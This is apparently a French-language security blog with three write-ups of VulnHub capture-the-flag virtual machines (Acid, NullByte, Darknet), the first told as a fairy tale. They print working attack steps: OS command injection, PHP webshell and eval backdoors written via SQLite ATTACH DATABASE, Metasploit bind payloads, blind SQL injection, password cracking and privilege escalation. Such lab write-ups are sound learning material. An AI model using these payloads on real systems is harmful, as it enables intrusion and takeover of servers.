Affichage des articles dont le libellé est vulnhub. Afficher tous les articles
Affichage des articles dont le libellé est vulnhub. Afficher tous les articles

jeudi 20 août 2015

Challenge estival - Acid et VulnHub, Enquête au Royaume des Fées

Avertissement : j'explique dans cet article les méthodes que j'ai utilisées pour réaliser ce challenge - ne lisez donc pas ce qui suit si vous souhaitez le faire sans indice :-)


Après avoir joué avec grand plaisir avec le challenge NullByte proposé par @ly0nx, je me lance dans le tout nouveau challenge @vulnhub : le challenge Acid Server proposé par @m_avinash143 sans indication sur le niveau d'expertise requis mais avec l'information "This Virtual Machine is completely web based".

Il était une fois


Il était une fois un joyeux ménestrel nommé @m_avinash143 qui au retour d'un voyage dans les Mondes Enchantés décida d'ouvrir une porte vers le Royaume des Fées. Décidant à mon tour d'arpenter ces féériques contrées, je me met en chasse de la première porte avec un sortilege nmap qui échoue. J'améliore mon sort nmap vers le niveau 1 à 65535 et la porte 33447/TCP s'illumine.
root@kali:~# nmap -sT -A 192.168.80.133 -p 33447 
[...]
PORT      STATE SERVICE VERSION
33447/tcp open  http    Apache httpd 2.4.10 ((Ubuntu))
|_http-server-header: Apache/2.4.10 (Ubuntu)
|_http-title: /Challenge


Wow


En examinant avec attention le chambranle de cette première porte, je constate une ligne de runes qui scintille de poussière de fée.. wow..
"<!--0x643239334c6d70775a773d3d-->"
root@kali:~# printf "%b\n" \\x64\\x32\\x39\\x33\\x4c\\x6d\\x70\\x77\\x5a\\x77\\x3d\\x3d
root@kali:~# echo -n "d293LmpwZw==" | base64 -d
wow.jpg
Je contemple pensivement cette image "wow.jpg" et comprend ainsi qu'un indice nous a été laissé sous la forme d'une suite de runes MD5 correspondant au mot de passe "63425".. bien bien.. me voilà bien avancée..
root@kali:~/Desktop# strings wow.jpg | tail -n 1
;37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
root@kali:~/Desktop# (IFS=':' ; printf "%b" $(strings wow.jpg | tail -n 1 | sed 's/;/\\\x/g;s/:/:\\\x/g;'); echo)
root@kali:~/Desktop# echo 7aee0f6d588ed9905ee37f16a7c610d4 > john.txt
root@kali:~/Desktop# gunzip /usr/share/wordlists/rockyou.txt.gz
root@kali:~/Desktop# /usr/sbin/john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt john.txt
63425            (?)
Je tente également ma chance sur l'image "bg.jpg" mais sans grande conviction cette fois-ci hormis une suite de runes que je note sur mon parchemin pour la suite de l'aventure (trop de poudre de Fée peut-être).
root@kali:~/Desktop# strings bg.jpg  | grep 'u\*9'      
u*9:HIJXYZghijvwxyz
Après une heure de recherche je l'avoue je suis un peu bloquée... J'ai un mot de passe (?) mais pas la Fée à laquelle il correspond et aucune porte d'authentification. Mis à part croiser les doigts pour qu'un sortilège dirbuster me débloque je ne vois pas trop quoi faire..

/Challenge


Je lance mon sortilège dirbuster à l'aide d'un petit grimoire listant les répertoires, fichiers et autres extensions ".php" propres à ces incantations :


.. une demi-heure à attendre.. Je ne connais pas la question mais augmenter la puissance de mon sortilège à 42 volumes de thread me parait être une bonne réponse.. Huit minutes.. c'est plus raisonnable..


.. et là énorme sourire, la seconde porte d'entrée url au Royaume des Fées ("/Challenge") - tête de linotte que je suis - est écrite en indice flagrant comme "title" sur la porte d'accueil ("parlez, ami, et entrez") et je suis totalement passée à côté :-).


/Welcome to hell


J'étudie avec attention cette nouvelle porte d'authentification et note précieusement tous les indices sur mon grimoire au fur et à mesure : la page "js/forms.js" m'indique "Copyright (C) 2013 peredur.net", le titre de la page est "Secure Login: Log In". J'ouvre donc mon sac à main et extrait mon encyclopédie de recherche préférée..


.. qui me renseigne au chapitre Github.com sur une application qui semble correspondre à celle qui m'accueille actuellement et après quelques sommaires comparaisons je finis par tomber sur la bonne nouvelle suivante à la fin du chapitre readme :-)


 .. mot de passe par défaut que je m'empresse donc d'employer pour ouvrir cette nouvelle porte !


/Challenge - LFI


Je "proceed further" comme il m'est proposé et la porte suivante

 
.. présente une faille LFI étudiée, il me semble, en première année du cursus de la Guilde des Fées.


Je renseigne à nouveau cette information dans mon grimoire et retourne à mon sortilège dirbuster.

/Cake


Pas mal du tout pour un sortilège dirbuster invoqué "gentiment". Je consulte tout de même les autres artefacts que celui-ci a identifié et, chat échaudé craignant l'eau froide, constate immédiatement que les runes du chambranle de cette nouvelle porte "cake.php" ("/Magic_Box") sont probablement un nouvel indice :


.. et là ca vaut bien le coup de lancer à nouveau un sortilège dirbuster :-)


/Magic_Box


Ces sortilèges dirbuster me sont décidément bien utiles et une porte prénommée "command.php" vaut bien un détour..


 .. et une incantation d'injection standard en croisant les doigts : "127.0.0.1;id" :


Après la faille LFI précédente, je peux donc m'introduire dans le Royaume des Fées sous l'identité de la Fée "www-data" :-)

Mon entrée dérobée au Royaume des Fées


J'entre furtivement dans le Royaume des Fées en me téléportant dans l'une des résidences ("127.0.0.1;pwd" m'indique "/var/www/html/Challenge/Magic_Box") et vérifie si le silence des alentours témoigne d'une activité secrète ou d'une plaine sinistre et désolée  ("127.0.0.1;ls -l /var/www/html/Challenge/") et je note le répertoire "js" (@Nathplanteur :-D) en 777 qui témoigne d'une Fée bien peu attentionnée.

 
J'utilise un charme de reconnaissance pour localiser les clés des Maitresses Fées Gardiennes du Royaume ("127.0.0.1;find / -perm -4000 -ls") et constate que toutes les clés sont d'antiques artefacts de pouvoir qui semblent impossibles à contrôler.


J'utilise la résidence de la Fée JS pour déposer un charme d'empreinte du Royaume ("127.0.0.1;echo "<?php echo "ok"; phpinfo(); ?>" > /var/www/html/Challenge/js/jess.php")..


 .. et améliore mon charme pour accéder plus facilement au Royaume des Fées..


.. en vérifiant que mon charme supporte l'ancienne magie du fameux grimoire metasploit si celui-ci peut m'être d'une quelconque utilité pour la suite de mon aventure..


Enquête au Royaume des Fées


Je peux désormais arpenter à ma convenance le Royaume à la recherche d'une clé d'une Maitresse Fée et après quelques minutes de pérégrination constate que le Royaume fait l'objet d'une intrusion et que les Maitresses Fées tentent de contenir cet assaillant !


Poursuivant mon enquête, je constate que le Maléfique Sorcier est dénommé "saman" aka "1337hax0r" et qu'il n'a semble-t-il pas laissé de trace de son méfait. Mais les Maitresses Fées sont sur sa piste et discutent ("hint.pcapng") de sa capture.
CMD="ls -la /home"
total 16
drwxr-xr-x  4 root  root  4096 Aug  7 17:48 .
drwxr-xr-x 23 root  root  4096 Aug  8 11:00 ..
drwxr-xr-x 17 acid  acid  4096 Aug  8 11:47 acid
drwxr-xr-x  2 saman saman 4096 Aug  7 18:07 saman

CMD="find / -uid 1001 -ls"

CMD="find /sbin/ -uid 1000 -ls"
930316  800 -rwxr--r--   1 acid     acid       818744 Aug  7 16:09 /sbin/raw_vs_isi/hint.pcapng
root@kali:~# cd /tmp/ && wget http://192.168.80.134:33447/Challenge/js/hint.pcapng
root@kali:/tmp# file hint.pcapng
hint.pcapng: pcap-ng capture file - version 1.0
root@kali:/tmp# tcpdump -evXln -r hint.pcapng tcp | less
        0x0030:  000a 6db0 7361 6d61 6e20 616e 6420 6e6f  ..m.saman.and.no
        0x0040:  7720 6120 6461 7973 2068 6527 7320 6b6e  w.a.days.he's.kn
        0x0050:  6f77 6e20 6279 2074 6865 2061 6c69 6173  own.by.the.alias
        0x0060:  206f 6620 3133 3337 6861 7830 720a       .of.1337hax0r.
Je me repose un instant pour faire le point sur les indices à ma disposition pour trouver à mon tour un moyen d'accéder aux secrets du Royaume. J'ai donc une incantation "63425" dont je ne connais pas l'usage mais peut être pourrait-il me servir à obtenir les pouvoirs de la Fée Acid voir même de prendre l'apparence du Sorcier Saman le Maléfique ?

Je récite l'incantation "63425" pour prendre le contrôle des pouvoirs du Sorcier Saman mais le Royaume m'en interdit l'accès :-(
root@kali:/tmp# echo -en '#!/bin/sh\necho start\n/usr/bin/id\necho 63425 | /bin/su saman -c 'id' 2>&1\necho stop\n' | base64
[BASE64]
root@kali:/tmp# CMD="echo '[BASE64]' > /tmp/jess.b64" && echo -en "GET /Challenge/js/jess.php?shell_exec=$(echo $CMD | tr ' ' '+') HTTP/1.0\r\n\r\n" | nc 192.168.80.134 33447
root@kali:/tmp# CMD="/tmp/jess.sh" && echo -en "GET /Challenge/js/jess.php?shell_exec=$(echo $CMD | tr ' ' '+') HTTP/1.0\r\n\r\n" | nc 192.168.80.134 33447

start
uid=33(www-data) gid=33(www-data) groups=33(www-data)
su: must be run from a terminal
stop
Qu'à cela ne tienne, je perfectionne mon charme pour que le Royaume me laisse entrer :
cat > jess.code << EOF
#!/bin/sh
/usr/bin/id
echo start
(sleep 1; echo 63425) | python -c "import pty; pty.spawn(['/bin/su','saman','-c','whoami']);"
echo stop
EOF

uid=33(www-data) gid=33(www-data) groups=33(www-data)
start
Password:
su: Authentication failure
stop
.. Bon mon charme est effectif mais l'incantation "63425" ne me permet pas d'utiliser les pouvoirs du Sorcier Saman ou de la Féé Acid ou même d'accéder au contrôle temporel de la Maitresse Fée Root Gardienne du Royaume des Fées. Je tente ma chance avec quelques mystères obtenus lors de ma visite de la résidence "/var/www/html/Challenge/" : "VXNlcnMudHh0", "zbp.yvnzt@qvpn", "Y0dGemN5NTBlSFE9" et "__341xnurZ" mais ces tentatives échouent à nouveau.

.. Essayons à nouveau mais avec mon fameux grimoire Metasploit et une incantation Meterpreter..
root@kali:~# msfconsole
msf > use exploit/unix/webapp/php_eval
msf exploit(php_eval) > set RHOST 192.168.80.134
msf exploit(php_eval) > set RPORT 33447
msf exploit(php_eval) > set URIPATH /Challenge/js/jess.php?eval=!CODE!
msf exploit(php_eval) > set PAYLOAD php/bind_php
msf exploit(php_eval) > exploit

[*] Sending request for: http://192.168.80.134:33447/Challenge/js/jess.php?eval=error_reporting%280%29%3beval%28%24_SERVER%5bHTTP_X_SYSJDWXXZMJGDDQO%5d%29%3b
[*] Payload will be in a header called X-SYSJDWXXZMJGDDQO
[*] Started bind handler
[*] Command shell session 1 opened (192.168.178.134:33883 -> 192.168.80.134:4444)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^Z
Background session 2? [y/N]  y
msf exploit(php_eval) > sessions -u 2
msf exploit(php_eval) > sessions -i

Active sessions
===============

  2   shell php
  3   meterpreter x86/linux  uid=33, gid=33, euid=33, egid=33, suid=33, sgid=33 @ acid 

msf exploit(php_eval) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > shell
Process 2191 created.
Channel 9 created.
/bin/sh: 0: can't access tty; job control turned off

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@acid:/var/www/html/Challenge/js$

Après plusieurs heures à me battre désespérément contre des fantômes dans une plaine désertique et noircie par l'intrusion du Sorcier Saman le Maléfique pour identifier une escalade de privilèges valide sur cette version Ubuntu/Vivid du Royaume (dont le fameux bug #1447396 découvert par l'Enchanteur Tavis Ormandy ou l'exploit 37292 OFS - overlayfs chanté par le troubadour Rebel)


.. j'en suis rendue à l'évidence.. L'antique secret Root du Royaume des Fées demeure hors de ma portée. Qu'à cela ne tienne, je ne suis certainement pas la seule dans cette situation donc je brise le sceau d'un parchemin d'aide Twitter : "@unl1k3ly any hint-nospoil for me to step up from www-data? I'm lost in the Fairy Kingdom :'( CC ".

Les Maîtres du Royaume des Fées


Mon parchemin d'aide ne reste pas longtemps sans réponse et le joyeux ménestrel @m_avinash143 me recommande la saine lecture des comptes-rendus d'enquête publiés par les Maîtres du Royaume des Fées @g0blinresearch et Makman dans le Grand Recueil Magique @VulnHub.


A la lecture de ces comptes-rendus, je me rend compte que je suis tout simplement passée à côté d'un second indice "parlez, ami, et entrez" : le mot de passe "1337hax0r" de Saman le Sorcier Maléfique était connu des Maitresses Fées et celles-ci en parlaient dans l'échange "hint.pcapng" :'(

meterpreter > shell
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@acid:/var/www/html/Challenge/js$ su - saman
su - saman
Password: 1337hax0r

saman@acid:~$ sudo -i
sudo -i
[sudo] password for saman: 1337hax0r

  ____                            _         _       _   _                
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/                                                  
root@acid:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@acid:~# cat flag.txt
cat flag.txt


Dear Hax0r,


You have successfully completed the challenge.

I  hope you like it.


FLAG NAME: "Acid@Makke@Hax0r"


Kind & Best Regards

-ACID
facebook: https://facebook.com/m.avinash143

Conclusion


En conclusion, ce challenge Acid est tout simplement délicieux et malgré une pointe de déception liée à la frustration de ne pas être parvenue à le résoudre seule, je félicite chaleureusement le joyeux ménestrel @m_avinash143 pour cette aventure, l'équipe @VulnHub pour tous ces challenges et les deux Maîtres du Royaume des Fées @g0blinresearch et Makman dont j'ai lu avec attention les comptes-rendus d'enquête .

Et quant à moi j'ai passé quelques soirées féériques absolument délicieuses au Royaume des Fées.

Jess - @JessicaGallante

mardi 18 août 2015

Challenge estival - NullByte et VulnHub, Sérénité et Harmonie

Avertissement : j'explique dans cet article les méthodes que j'ai utilisées pour réaliser ce challenge - ne lisez donc pas ce qui suit si vous souhaitez le faire sans indice :-)

Quoi de plus pratique qu'un challenge estival pour tester l'installation de ma nouvelle <3 Kali 2.0 <3 ? J'avais beaucoup aimé mon premier challenge #Darknet @vulnhub et décide donc de jouer à nouveau avec les épreuves proposées en regardant les pré-requis pour le nouveau NullByte proposé par @ly0nx : Niveau "Basic to intermediate" et commentaire "Hints: Use your lateral thinking skills, maybe you’ll need to write some code" me convenant tout à fait, je télécharge donc la machine virtuelle et me met au travail.

Les lois de l'harmonie



L'introduction à ce challenge que vous pouvez consulter sur le site de @vulnhub vous précise que vous devez jouer pour aller lire un fichier "/root/proof.txt".

Je me lance



Première étape, je scanne l'adresse IP avec mon scanner préféré et identifie trois ports TCP en écoute dont un serveur "SSH-2.0-OpenSSH_6.7p1 Debian-5" sur le port 777/tcp et un serveur web sur le port 80/tcp avec une simple image et un commentaire sibyllin.


Bon..  Un scan de port de 1 à 65535 ne m'apportant pas plus d'information et n'ayant pas d'exploit dans mon sac à main pour Apache ou OpenSSH, je pense qu'une énumération des répertoires web potentiellement disponibles est nécessaire.


re bon.. J'ai semble-t-il un répertoire "uploads" à ma disposition qui me permettra peut être de monter un code approprié pour autant que je sache comment y accéder.. Faisons donc un tour sur mon moteur de recherche préféré au cas où l'image fournie recèlerait un indice quelconque.


Après une dizaine de minutes à chercher sans succès des indices, je jette un coup d'oeil à mon dirbuster qui me trouve une application "phpmyadmin".. d'accord, pertinent mon Fernand mais je n'ai pas non plus d'exploit pour cette application et je ne vais pas attendre 146 ans (oui oui) de recherche par force brute.. Je retourne donc me perdre dans les méandres de l'Internet en tentant de rapprocher stéganographie et Kali et sans la moindre certitude d'avancer ou non dans une impasse..

Après une longue heure et de nombreuses tentatives sans succès à jouer avec cette image, une chaine de caractères que j'ai bien du lire une centaine de fois attire enfin mon attention juste après le tag GIF89a : "P-): kzMb5nVYJw". Je debase64/debase64(inverse()) sans succès, je tente ma chance comme mot de passe pour un utilisateur root sur le serveur ssh mais finalement la solution est bien plus simple p-) :-)


Par l'hydraforce ..


Le formulaire qui nous est offert présente un indice bienvenue et après quelques tentatives Hydra avec les dictionnaires usuels fournis par la Kali..


.. le dictionnaire "sqlmap.txt" me fournit le sésame attendu.


et par sqlmap (encore et toujours indispensable) ..


Que serait un challenge web sans injection SQL à tenter ..


.. sans base de données à dumper..


.. et sans empreinte de mot de passe à casser :-)


PHP(myadmin) ..


Retour à la case dirbuster initiale, j'ai un mot de passe root mysql et une interface phpmyadmin. Se pourrait-il que ?


.. un peu de curiosité n'a jamais fait de mal à personne ..


.. et l'avantage des hashs md5 comme mots de passe ..

(cette capture est totalement inutile bien entendu mais c'est tellement amusant)

.. et des services ssh ..


Et maintenant ..


Maintenant que j'ai un shell sur cette VM NullByte, partons à la recherche d'un moyen d'obtenir les privilèges "root". Ma première tentative (inspirée des quelques wargames OverTheWire que j'ai pu réaliser) consiste à identifier si des fichiers inhabituels disposent des bits setuid/setgid ..


.. et le cas échéant, à chercher si ceux-ci sont exploitables ..


.. et comme je n'ai pas mes strace/ltrace fétiches sur la VM NullByte, je récupère donc ce fichier "I have to fix this mess" sur ma Kali pour tenter de l'analyser ..


.. et après quelques tentatives jesstracesques, je pense comprendre comment fonctionne ce code ..


.. qui ressemble assez (en tout cas pour moi) à certains niveaux des wargames OverTheWire. Le code vulnérable appelle le binaire "ps" de manière relative (donc sur la base de l'environnement "PATH") et le fichier est setuid. Et comme je suis maitresse de ce chemin, je peux sans doute tromper ce binaire en lui faisant exécuter ma propre commande (en tout cas "c'est le plan" comme dirait Adrien ;-) ).


.. et mes privilèges étant désormais acquis il m'est possible d'aller lire le fameux fichier "/root/proof.txt" :



Conclusion


En conclusion ce challenge NullByte est véritablement amusant (avec une première étape assez compliquée à franchir si on ne regarde pas au bon endroit), une bonne partie des vulnérabilités génériques du monde du web s'y trouve représentée et ce challenge (en somme) est assez caractéristique de certains rapports de tests d'intrusion que @nathplanteur et moi relisons habituellement (pour le meilleur ou pour le pire :-|).

Merci ma jolie Nath qui ne dort jamais toujours pas ;-) et un grand merci @ly0nx pour votre support et vos encouragements en _live_ :-)

On prendra les froids, les brûlures en face
On interdira les tiédeurs
Des fumées, des alcools et des calmants cuirasses
Qui nous ont volé nos douleurs
La vérité nous fera plus peur
(Jean-Jacques Goldman - On ira)

Jess - @JessicaGallante



vendredi 12 juin 2015

Mon tout premier challenge ever

Avertissement : j'explique dans cet article les méthodes que j'ai utilisées pour réaliser ce challenge - ne lisez donc pas ce qui suit si vous souhaitez le faire sans indice :-)

Un joli dimanche de juin avec un soleil radieux et je suis bloquée chez moi car d'astreinte pour un test PCA. Tout se passant plutôt bien excepté les quelques appels habituels d'utilisateurs paniqués ne trouvant pas le bon dossier ou la bonne procédure et ma <3 @nathplanteur <3 étant (une fois n'est pas coutume) de repos, je suis attirée par un tweet dans ma timeline concernant un challenge nommé #Darknet par @vulnhub.

Je n'ai jamais fait de challenge et j'ai toujours eu peur de m'y confronter mais cette fois-ci je me dis "pourquoi pas moi ?" et puis dans tous les cas j'ai cette envie d'écrire qui me reprend et cela me fera donc une bonne idée d'article.

Me voilà donc à télécharger cette VM #Darknet sur https://www.vulnhub.com/, tout en commençant à rédiger cet article "Mon tout premier challenge ever" et en me demandant jusqu'où cette histoire va aller..

Un dimanche ensoleillé



L'introduction à ce challenge que vous pouvez consulter sur le site de @vulnhub précise :

"Darknet has a bit of everything, a sauce with a touch of makeup and frustration that I hope will lead hours of fun for migraines and who dares to conquer his chambers. As the target gets used will read the file contents /root/flag.txt obviously once climbed the privileges necessary to accomplish the task. The image can be mounted with VirtualBox . The machine has DHCP active list so once automatically assign an IP network, the next step will be to identify the target and discover the / the service / s to start the game. Good luck !. If you want to send in pdf format solucionarios can do so at the following address: s3csignal [at] gmail [dot] com".

De ce que je comprend, je dois aller lire un fichier "/root/flag.txt" sur la VM en attaquant un ou plusieurs services.. Je ne sais pas pour vous mais pour cela m'a l'air d'un vaste programme..

Je me lance


Première étape, je scanne l'adresse IP avec mon scanner préféré et identifie deux ports TCP en écoute : un port 80 avec un serveur Apache/2.2.22 (<3 Debian <3) et un port 111 que je peux requêter pour constater que seul le service RPC 100024 "status" est actif (port 34520 en TCP).

Bienvenue dans le monde du Web. J'imagine que je vais trouver un problème au niveau du serveur Web et/ou de l'application qu'il héberge ? Je scanne donc ce serveur Web avec mes autres scanners préférés et découvre plusieurs urls qui me permettent de constater que la fonction "autoindexing" Apache est parfois active et que j'ai plusieurs pistes à arpenter :
/access/888.darknet.com.backup
/Classes/Show.php
/Classes/Test.php
Impasse sur les fichiers "Show.php" et "Test.php", tous deux génèrent une erreur 500 : soit je ne sais pas les interroger soit ce sont des leurres ? Le fichier "888.darknet.com.backup" est lui beaucoup plus prometteur :
<VirtualHost *:80>
    ServerName 888.darknet.com
    ServerAdmin devnull@darknet.com
    DocumentRoot /home/devnull/public_html
    ErrorLog /home/devnull/logs
</VirtualHost>
Il semble en effet me fournir une nouvelle piste sous la forme d'un VirtualHost Apache à interroger "888.darknet.com", d'un utilisateur "devnull" et d'un DocumentRoot "/home/devnull/public_html".

888.darknet.com


Je crois que je suis sur le bon chemin en voyant une nouvelle application apparaître avec un formulaire de connexion me demandant de saisir un nom d'utilisateur et un mot de passe.

Cette application repose sur PHP avec une version "5.4.39-0+deb7u1" (un tour sur le security-tracker de Debian m'apprend que la dernière version "5.4.39" est la "deb7u2" mais je ne vois pas spécialement de vulnérabilité à exploiter à ce niveau là), semble avoir été développée en espagnol et anglais (champs "Usuario" pour utilisateur et "Clave" pour mot de passe) et semble aussi gérer des sessions via un cookie "PHPSESSID".

Je commence par tenter quelques logins et mots de passe par défaut ou triviaux sur la base de l'utilisateur "devnull" sans succès.

Je lance mes scanners web préférés et trouve trois répertoires inutiles qui me rejettent avec une erreur 403 ("/img/" , "/includes/" , "/icons/").

Je lance mes scanners sql préférés sur le champ "username" et sur le champ "password" sans succès mais j'obtiens un indice par le biais d'un message d'erreur spécifique en fonction de certaines injections. Le message d'erreur n'est plus "Fail" comme précédemment mais "unrecognized token:" suivi d'une chaîne de caractère en MD5 qui correspond exactement à la valeur du paramètre "password" que je transmet.

Que faire maintenant ?

C'est l'histoire d'une injection SQL pour SQLite


Je recommence manuellement :

  - username=a&password=a         -> Fail
  - username='&password=a         -> unrecognized token: "0cc175b9c0f1b6a831c399e269772661"
  - username=''&password=a        -> Fail
  - username=' &password=a        -> near "' and pass='": syntax error
  - username=' '&password=a       -> near "''": syntax error
  - username=' aaa &password=a    -> near "aaa": syntax error
  - username=' and &password=a    -> Ilegal
  - username=' or &password=a     -> unrecognized token: "0cc175b9c0f1b6a831c399e269772661"
  - username=' or '&password=a    -> Fail
  - username=' or 'a'='a          -> Ilegal
  - useranme=' or 'a              -> Fail
  - username=' union &password=a  -> near "' and pass='": syntax error
  - username=' select &password=a -> Ilegal
  - username=' ; &password=a      -> Ilegal

Les quelques tests supplémentaires me permettent donc de constater :

  • Les deux champs "username" et "password" doivent tous deux être fournis ;
  • Le champ "username" peut être employé pour générer des messages d'erreur SQL semblant présager qu'une injection SQL est possible ;
  • Une liste noire et/ou une liste blanche est active et interdit certains caractères et certains mots clé.

Forte de ces informations, je tente à nouveau d'utiliser mon scanner sql préféré à plusieurs reprises mais sans succès. Je me résout donc à aller consulter mon moteur de recherche préféré (ou pas) et constate que le message d'erreur "unrecognized token" a une forte probabilité d'être généré par un moteur SQLite.

Après une bonne demi-heure à chercher comment réaliser des injections SQL sur SQLite, je me retrouve avec plusieurs articles dont j'essaie tant bien que mal de saisir la substantifique moelle (un grand merci aux deux auteurs) :


Je recommence donc manuellement avec l'objectif premier d'éviter d'utiliser ce qui m'est interdit en me basant sur le message d'erreur "Ilegal" (select, and, - ; < > , =) :

  - username=' or &password=a            -> unrecognized token: "0cc175b9c0f1b6a831c399e269772661"
  - username=' # &password=a             -> unrecognized token: "#" 
  - username=' or a or 'a &password=a    -> no such column: a
  - username=' or pass or 'a &password=a -> Fail

Partons du principe que la requête SQL est de type SELECT .. WHERE username='' and pass='' et que je peux injecter certains caractères dans "username". Ne connaissant pas le nom de l'utilisateur et la condition "or" étant autorisée je pars sur l'idée d'injecter une condition "or" sur la colonne "pass" avec un mot de passe quelconque ?

N'ayant aucune idée de comment procéder, je me plonge dans ce que je trouve de documentation SQLite et d'injections SQL et je constate que je peux utiliser le mot clé "like" associé aux caractères wildcard "%" ou "_" (http://www.tutorialspoint.com/sqlite/sqlite_like_clause.htm) pour construire une injection et après plusieurs tentatives (de a à z puis de 0 à 3 pour ceux qui suivent en détail :-p), j'obtiens le résultat tant désiré :

  - username=' or pass like '%' or 'a  -> Fail
  - username=' or pass like '3%' or 'a -> 302 Moved Temporarily

Enfin! J'ai donc une redirection vers un fichier "main.php" avec un cookie (date d'expiration "19 Nov 1981", joyeux anniversaire à toi avec un peu d'avance!). J'ouvre donc mon navigateur et tente le fameux sesame sans succès :-(

Essayant tant bien que mal d'utiliser cette injection en ligne de commande ou avec mon navigateur et au détour d'un échange Twitter avec @qusaialhaddad et @_RastaMouse (merci à vous deux !), j'apprend qu'il y a un "bug" pour ce niveau et que mes nombreux scans ont du saturer l'espace de stockage de la VM réservé aux sessions PHP ..

Quoi faire maintenant ? réinstaller la VM ? tenter de contourner le problème ? Dormir ? dormir !

ma soirée du lundi

 

Le casque vissé sur les oreilles et "Crazy in love" de Queen B en boucle, je tente de contourner le problème qui m'est posé. Je sais donc que je peux énumérer les colonnes d'une table d'une part et énumérer ensuite les valeurs des colonnes d'autre part grâce au code 302, je continue donc mes requêtes manuelles (note pour plus tard : apprendre sérieusement un langage de script) :

  • la table est composée d'une colonne "id", d'une colonne "pass" et d'une colonne "usuario" (déception, l'indice est littéralement hurlé par la page d'accueil et j'ai passé plusieurs dizaines de minutes à chercher pourquoi la colonne "username" n'existait pas) ;
  • username=' or id like '1' or 'a : La table semble contenir deux utilisateurs (id=1 et id=2) ;
  • username=' or usuario like 'devnull' or 'a : les deux utilisateurs sont (devnull et errorlevel) (quelle déception à nouveau le nom de l'utilisateur était donné dans la configuration du VirtualHost et je suis complètement passée à côté :-( ) ;
  • username=' or pass like '36%' or 'a : les deux mots de passe MD5 ne sont pas cassés sur mon moteur de recherche préféré.

J'ai maintenant deux utilisateurs (mais aucun nouveau VirtualHost "errorlevel.darknet.com" semble-t-il) et deux mots de passe à casser dont j'imagine qu'ils sont complexes.. Dois je vraiment m'obstiner sur cette piste ? Non je ne pense pas. Je réinstalle la VM comme me l'a conseillé @_RastaMouse et tente mon login sesame : " ' or pass like '3%' or 'a " avec le mot de passe "a" et me voilà connectée à l'application ! Champagne !

Une fenêtre "Administrador SQL" s'affiche avec un formulaire me proposant d’exécuter du code SQL mais aucun retour ne semble renvoyé par l'application. Qu'à cela ne tienne, j'ai bien envie de tenter ma chance avec le "Getting Shell Trick 1 - ATTACH DATABASE" documenté sur http://atta.cked.me/home/sqlite3injectioncheatsheet et que j'ai bien du lire une bonne centaine de fois dans les dernières 48 heures.

Bon il va me falloir faire plusieurs tests au préalable. Déjà installer une VM de test puis une base SQLite et trouver un code PHP de type backdoor. 

Je sais déjà que je pourrais tenter de déposer mon code PHP dans "/home/devnull/public_html/" (en esperant que "888.darknet.com.backup" ne soit pas un leurre) ou dans l'un de ses sous-répertoires "/img/" , "/includes/" , "/icons/".

Mais d'abord dormir quelques heures me semble une très bonne idée.

Le mardi c'est Patch Tuesday


Et la vie est une question de priorité comme le dit si bien la publicité.

Le mercredi on sésame ouvre toi


Ce soir je sais vraiment quoi faire et me reconnecte donc avec mon sésame puis je saisis ma commande SQL :
attach database '/home/devnull/public_html/backdoor.php' as backdoor;
J'essaie ensuite d'accéder à ma backdoor via "http://888.darknet.com/backdoor.php" et reçoit la fatidique erreur 404.. Ca commence mal.. je recommence :
attach database '/home/devnull/public_html/img/backdoor.php' as backdoor;
A nouveau j'essaie avec "http://888.darknet.com/img/backdoor.php" et là .. code 200 :-) Je joue donc ma requête complète :
attach database '/home/devnull/public_html/img/backdoor.php' as backdoor; create table backdoor.tbl (cmd TEXT); insert into backdoor.tbl (cmd) values ("<?php $_REQUEST[e] ? eval( $_REQUEST[e] ) : exit; ?>");
et je croise les doigts très fort à nouveau avant de saisir une commande de base pour ma backdoor : "http://888.darknet.com/img/backdoor.php?e=phpinfo();" et .. et ca marche !! Je suis .. totalement epoustouflée .. j'ai envie de danser ..


Il me faut maintenant envoyer un shell un peu plus complet sur le système. Or l'analyse des résultats fournis précédemnt par "phpinfo()" me permet de constater que les directives "allow_url_fopen" et "allow_url_include" sont à "on" et que je dois donc pouvoir réaliser une Remote File Injection ? 

Allons y donc gaiement pour une RFI. Je cherche la première backdoor qui me vient sur Github et trouve un code WSO qui rappellera des souvenirs à certains :-) et je tente ma RFI "http://888.darknet.com/img/backdoor.php?e=include("URL_ DU_ SHELL_ WSO_ QUE_ JE_ VOUS_  LAISSE_ CHERCHER");" ..  ce qui me permet de constater que mon hypothèse de RFI était correcte et que je peux donc désormais uploader ma backdoor WSO localement afin d'obtenir mon accès "http://888.darknet.com/img/wso.php" :)

 

_mon_ premier shell WSO

 

C'est le mien.. C'est _mon_ premier shell WSO et je suis l'attaquante (sentiment tout à fait étrange et dérangeant que je ne saurais expliquer) et maintenant que j'ai un shell j'ai le sentiment que tout est à refaire. Allons y. Je constate tout d'abord qu'un grand nombre de fonctions PHP "sensibles" sont désactivées et que la directive "open_basedir" restreint mon shell aux répertoires : "/etc/apache2", "/home/devnull" et "/tmp".

Je passe à la configuration Apache présente dans "/etc/apache2" et je vois que :
  • la configuration par défaut (adresse IP) pointe vers "/var/www/" pour lequel je n'ai pas les droits d'accès avec ma backdoor WSO ;
  • la configuration "888.darknet.com" est bien celle qui nous avait permis de passer l'une des étapes initiales via le fichier "888.darknet.com.backup" ;
  • une nouvelle configuration "signal8.darknet.com" nous est révélée pour un répertoire sur lequel je n'ai pas accès avec la backdoor WSO :
<VirtualHost *:80>    ServerName signal8.darknet.com
    ServerAdmin errorlevel@darknet.com
    DocumentRoot /home/errorlevel/public_html
    <Directory /home/errorlevel/public_html>
        AllowOverride All
    </Directory>
</VirtualHost>
Alors là, passer de l'utilisateur "errorlevel" que j'avais trouvé pendant l'exploitation de l'injection sql au nom de domaine "signal8.darknet.com" me semble impossible .. je n'aurais jamais trouvé.

